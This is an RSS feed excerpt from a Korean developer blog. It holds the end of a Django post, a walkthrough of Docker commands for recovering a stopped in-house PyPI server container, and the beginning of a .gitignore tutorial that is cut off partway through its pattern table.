&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2022-09-28 오후 1.26.26.png&quot; data-origin-width=&quot;230&quot; data-origin-height=&quot;181&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b8knaH/btrNb4vvY2z/hCjh4QoDiljdwPVhKORgS1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b8knaH/btrNb4vvY2z/hCjh4QoDiljdwPVhKORgS1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b8knaH/btrNb4vvY2z/hCjh4QoDiljdwPVhKORgS1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb8knaH%2FbtrNb4vvY2z%2FhCjh4QoDiljdwPVhKORgS1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;230&quot; height=&quot;181&quot; data-filename=&quot;스크린샷 2022-09-28 오후 1.26.26.png&quot; data-origin-width=&quot;230&quot; data-origin-height=&quot;181&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;이후에 API 요청이 들어온다면 (url pattern이나 app name이 들어온다면), 여러분들이 알고계시는 그 과정 즉 urls.py에서 위에서 부터 일치하는 url을 찾게되고 API 요청을 실행하게 됩니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span&gt; &amp;zwj;♂️&amp;nbsp;&lt;b&gt;후기&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 내용은 따로 다른 블로그를 참고하거나 그런것이 아니라 제가 직접 해보고 공부해본 결과를 토대로 작성하였기 때문에 내용이 100% 정확하지 않을 수 있습니다. 혹시 제가 적은 내용중에 오류사항이 있으면 적극적으로 피드백 부탁드려요! 으샤으샤 해서 함께 공부해봅시다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Django</category>
      <category>django</category>
      <category>exe</category>
      <category>WSGI</category>
      <author>chief</author>
      <guid isPermaLink="true">https://chiefcoder.tistory.com/63</guid>
      <comments>https://chiefcoder.tistory.com/63#entry63comment</comments>
      <pubDate>Wed, 28 Sep 2022 12:00:30 +0900</pubDate>
    </item>
    <item>
      <title>[Docker] pypi서버에 접근이 안될 경우 처리방법 (도커 컨테이너)</title>
      <link>https://chiefcoder.tistory.com/62</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt; &amp;nbsp;&amp;nbsp;&lt;b&gt;들어가며...&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;pypi서버를 관리하는 도중에 갑자기 서버에 접근이 안되어서 문제를 해결하는 동안 겪었던 착오들과 명령어 위주로 정리해보았습니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt; &amp;nbsp;&lt;b&gt;내용&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;h1 id=&quot;pypi서버에접근이안될경우처리방법-원인&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;원인&lt;/b&gt;&lt;/span&gt;&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;docker 컨테이너가 중지되어 있을 경우 접속되지 않음.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h1 id=&quot;pypi서버에접근이안될경우처리방법-명령어&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;명령어&lt;/b&gt;&lt;/span&gt;&lt;/h1&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;1.&amp;nbsp; 컨테이너 목록 확인&lt;/span&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;현재 실행중인 컨테이너 목록을 확인&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;ebnf&quot;&gt;&lt;code&gt;docker ps&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;정지되어 있는 컨테이너를 포함한 모든 컨테이너를 확인&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;ebnf&quot;&gt;&lt;code&gt;docker ps -a&lt;/code&gt;&lt;/pre&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div id=&quot;highlighter_431619&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;결과값 정의&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;CONTAINER ID&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;컨테이너에게 자동으로 할당되는 고유한 ID&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;출력은 고유 ID의 12자리만 나오지만, 전체 정보를 확인하기 위해서 docker inspect를 사용하면 전체 ID를 확인할 수 있습니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;IMAGE&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;컨테이너를 생성할 때 사용된 이미지 이름&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;[이미지 이름]:[이미지 버전] 형식으로 출력됩니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;COMMAND&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;컨테이너가 시작될 때 실행되는 명령어&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;대부분 이미지에 미리 내장돼있어 별도로 설정할 필요는 없습니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;이미지에 내장된 커맨드는 docker run이나 create 명령어의 맨 끝에 입력해서 컨테이너를 생성할 때 덮어쓸 수 있습니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;CREATED&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;컨테이너가 실행되고 난 뒤 흐른 시간을 나타냅니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;STATUS&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;컨테이너의 상태를 나타냅니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;실행중이면 &quot;Up&quot;, 종료된 상태면 &quot;Exited&quot;, 일시 중지된 상태면 &quot;Pause&quot; 등을 나타냅니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;PORTS&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;컨테이너가 개뱅한 포트와 호스트에 연결된 포트를 나열합니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;컨테이너를 생성할 때 외부에 노출하도록 설정하지 않으면 ps에서 나타나지 않습니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;NAMES&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;컨테이너의 고유한 이름&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;--name 옵션으로 이름을 설정하지 않으면 도커 엔진이 임의로 형용사와 명사를 무작위로 조합해 이름을 설정합니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;컨테이너의 이름은 중복될 수는 없지만 docker rename 명령어로 이름을 변경할 수 있습니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;2. pypi 컨테이너 실행&lt;/b&gt;&amp;nbsp;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;name이 동일한 컨테이너가 존재할 경우 &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;=&amp;gt; Error response from daemon: Conflict. The name &quot;pypi&quot; is already in use by container 오류 발생&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f3c000; color: #000000;&quot;&gt;&lt;b&gt;해결방법: 컨테이너 삭제 후 실행 or 다른 name으로 실행&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;groovy&quot;&gt;&lt;code&gt;docker run -t -i -d -h pypi.local -v /srv/pypi:/srv/pypi:rw -p 80:80 --name pypi docker.duzon.com/pypi
&lt;/code&gt;&lt;/pre&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div id=&quot;highlighter_24694&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;3. 컨테이너 중지&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;컨테이너 중지 명령어&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;docker stop [CONTAINER ID]
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;4. 컨테이너 삭제&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;컨테이너 삭제 명령어&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;apache&quot;&gt;&lt;code&gt;docker rm [CONTAINER ID]
&lt;/code&gt;&lt;/pre&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div id=&quot;highlighter_103823&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;모든 컨테이너 삭제하기(되도록 사용 X)&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;reasonml&quot;&gt;&lt;code&gt;docker stop $(docker ps -a -q)
docker rm $(docker ps -a -q)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h1 id=&quot;pypi서버에접근이안될경우처리방법-정리&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;정리&lt;/b&gt;&lt;/span&gt;&lt;/h1&gt;
&lt;div id=&quot;expander-1798771582&quot; data-hasbody=&quot;true&quot; data-macro-name=&quot;expand&quot;&gt;
&lt;div id=&quot;expander-content-1798771582&quot;&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;이미지 관련 명령어&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;docker pull [이미지 이름]:[이미지 버전] : 이미지 내려받기&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;docker images : 도커 이미지 확인&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;컨테이너 실행&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;docker create [이미지 이름]:[이미지 버전] : 컨테이너 생성&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;docker start [컨테이너 이름] : 컨테이너 실행&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;docker attach [컨테이너 이름] : 컨테이너 접속&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;docker run -i -t [이미지 이름]:[이미지 버전] : 컨테이너를 생성 및 실행 후 접속&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;-i : 상호 입출력&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;-t : tty활성화 하여 bash 셸 사용&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;--name [컨테이너 이름] : 컨테이너 이름 지정&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;-p : 컨테이너 IP 및 포트 지정&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;컨테이너 관리&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;docker -v : 도커 버전 확인&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;docker ps : 실행중인 컨테이너 확인&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;-a : 실행중이지 않은 컨테이너도 확인&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;-q : 컨테이너의 ID 가져오기&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;컨테이너 삭제&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;docker stop [컨테이너 이름] : 해당 컨테이너 실행 중단&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;docker rm [컨테이너 이름] : 실행중이지 않은 컨테이너 삭제&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000;&quot;&gt;--f : 컨테이너 강제 삭제&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt; &amp;zwj;♂️&amp;nbsp;&lt;b&gt;후기&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;사내에서 pypi서버 관리를 담당하고 있었는데 docker에 대한 개념 정도로만 알고있다가 이번 기회에 docker 컨테이너를 조금이나마 다뤄볼 수 있는 경험이 생겨서 많이 배우는 과정이었습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;앞으로도 pypi 서버를 관리하면서 이슈가 생기는 부분을 정리할 예정입니다. 잘 봐주시면 감사하겠습니다!&lt;/span&gt;&lt;/p&gt;</description>
      <category>IT지식</category>
      <category>container</category>
      <category>docker</category>
      <category>pypi</category>
      <author>chief</author>
      <guid isPermaLink="true">https://chiefcoder.tistory.com/62</guid>
      <comments>https://chiefcoder.tistory.com/62#entry62comment</comments>
      <pubDate>Tue, 27 Sep 2022 16:00:15 +0900</pubDate>
    </item>
    <item>
      <title>[Git] .gitignore 파일을 작성해보자!</title>
      <link>https://chiefcoder.tistory.com/61</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span&gt; &amp;nbsp;&amp;nbsp;&lt;b&gt;들어가며...&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;금일 포스팅에서는 .gitignore 파일을 통해 Git으로 프로젝트의 버전 관리를 할 경우 특정 파일이나 디렉토리를 제외시키는 방법에 대해 알아보겠습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span&gt; &amp;nbsp;&lt;b&gt;내용&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;h2 id=&quot;gitignore-파일&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# .gitignore 파일&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;.gitignore&lt;span&gt;&amp;nbsp;&lt;/span&gt;파일은 git에서 관리하지 않을 파일들을 지정해두는 파일 입니다.&lt;br /&gt;프로젝트를 진행하다 보면 자동으로 생성되는 로그파일이나 외부 패키지, 깃에 공유되어서는 안되는 api키와 같은 내용이 작성된&lt;span&gt;&amp;nbsp;&lt;/span&gt;.env&lt;span&gt;&amp;nbsp;&lt;/span&gt;와 같은 파일들이 있을 수 있는데, 이러한 경우에는 .gitignore&lt;span&gt;&amp;nbsp;&lt;/span&gt;에 원격 저장소에 commit 하고 싶지 않은 내용을 작성해두면 git에서 그 내용을 읽어 해당하는 디렉토리 또는 경로 패턴에 위치한 파일들을 버전관리에서 무시합니다.&lt;br /&gt;이 때 주의할 점은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;.gitignore&lt;span&gt;&amp;nbsp;&lt;/span&gt;는 항상&lt;span&gt;&amp;nbsp;&lt;/span&gt;.git&lt;span&gt;&amp;nbsp;&lt;/span&gt;폴더가 위치한 루트 디렉토리에 존재해야 합니다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;gitignore-생성&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# .gitignore 생성&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;.gitignore 파일을 생성할 때에는 .git&lt;span&gt;&amp;nbsp;&lt;/span&gt;폴더가 있는 위치에 생성해주면 되는데, 윈도우의 경우 그냥 메모장으로 작성하여 txt파일이 아니라 모든 파일로 설정한 후에 파일명을&lt;span&gt;&amp;nbsp;&lt;/span&gt;.gitignore&lt;span&gt;&amp;nbsp;&lt;/span&gt;로 작성해주면 됩니다. 아니면 git bash 를 이용하여 해당 폴더로 이동한 뒤&lt;span&gt;&amp;nbsp;&lt;/span&gt;vim .gitignore&lt;span&gt;&amp;nbsp;&lt;/span&gt;명령으로 생성하여 작성해도 됩니다. 이후 버전관리를 하지 않을 목록을 작성하면 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 때, 이미 버전관리를 수행 중인 파일들을&lt;span&gt;&amp;nbsp;&lt;/span&gt;.gitignore&lt;span&gt;&amp;nbsp;&lt;/span&gt;에 작성하게 되면 git은 원래대로 그 파일들을 추적하게 됩니다. 이 경우에는 이미 버전 관리가 되고 있는 파일들을 수동으로 해당 파일들을 버전 관리에서 제외시켜주어야 합니다. 다음의 명령어들을 사용하여 처리합니다.&lt;/p&gt;
&lt;pre class=&quot;basic&quot;&gt;&lt;code&gt;1   git rm -r --cached .
2   
3   git add .
4   
5   git commit -m &quot;fixed untracked files&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;git rm -r --cached .&lt;span&gt;&amp;nbsp;&lt;/span&gt;: 현재 Repository의 cache를 모두 삭제합니다.&lt;/li&gt;
&lt;li&gt;git rm -r --cached &amp;lt;filename&amp;gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;:&lt;span&gt;&amp;nbsp;&lt;/span&gt;해당하는 파일을 원격 저장소에서 삭제합니다.
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;git rm &amp;lt;filename&amp;gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;: 원격 저장소와 로컬 저장소에 있는 파일을 삭제합니다.&lt;/li&gt;
&lt;li&gt;git rm --cached &amp;lt;filename&amp;gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;: 원격 저장소에 있는 파일을 삭제합니다. 로컬 저장소에 있는 파일은 삭제하지 않습니다.&lt;/li&gt;
&lt;li&gt;-r&lt;span&gt;&amp;nbsp;&lt;/span&gt;옵션 : 하위 디렉토리를 포함하여 모든 내용을 삭제합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;이후&lt;span&gt;&amp;nbsp;&lt;/span&gt;git add .&lt;span&gt;&amp;nbsp;&lt;/span&gt;을 통해&lt;span&gt;&amp;nbsp;&lt;/span&gt;.gitignore에 넣은 파일 목록들을 제외하고 다른 모든 파일을 다시 track하도록 설정합니다.&lt;/li&gt;
&lt;li&gt;위 작업 이후에는 반드시 커밋을 해줍니다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;git commit -m &quot;fixed untracked files&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;gitignore-문법&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# .gitignore 문법&lt;/b&gt;&lt;/h2&gt;
&lt;div&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 209px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 19px;&quot;&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;패턴&lt;/td&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 19px;&quot;&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;*&lt;/td&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;/&lt;span&gt;&amp;nbsp;&lt;/span&gt;를 제외한 모든&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;문자열&lt;/b&gt;과 매칭 (문자열 길이 0이상)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 19px;&quot;&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;**&lt;/td&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;/&lt;span&gt;&amp;nbsp;&lt;/span&gt;를 포함한 모든&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;문자열&lt;/b&gt;과 매칭 (문자열 길이 0이상)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 19px;&quot;&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;?&lt;/td&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;/&lt;span&gt;&amp;nbsp;&lt;/span&gt;를 제외한 하나의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;문자&lt;/b&gt;와 매칭 (빈 문자 x)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 19px;&quot;&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;[abc]&lt;/td&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;[]&lt;span&gt;&amp;nbsp;&lt;/span&gt;안에 있는 모든 각각의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;문자&lt;/b&gt;들과 매칭 (a또는 b또는 c 중에 하나)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 19px;&quot;&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;{a, b, c}&lt;/td&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;{}&lt;span&gt;&amp;nbsp;&lt;/span&gt;안에 있는 , 로 구분된 각각의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;문자열&lt;/b&gt;들과 매칭&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 19px;&quot;&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;[^abc]&lt;/td&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;[]&lt;span&gt;&amp;nbsp;&lt;/span&gt;안에 있는 모든 각각의 문자들을 제외한&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;문자&lt;/b&gt;들과 매칭&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 19px;&quot;&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;[a-z]&lt;/td&gt;
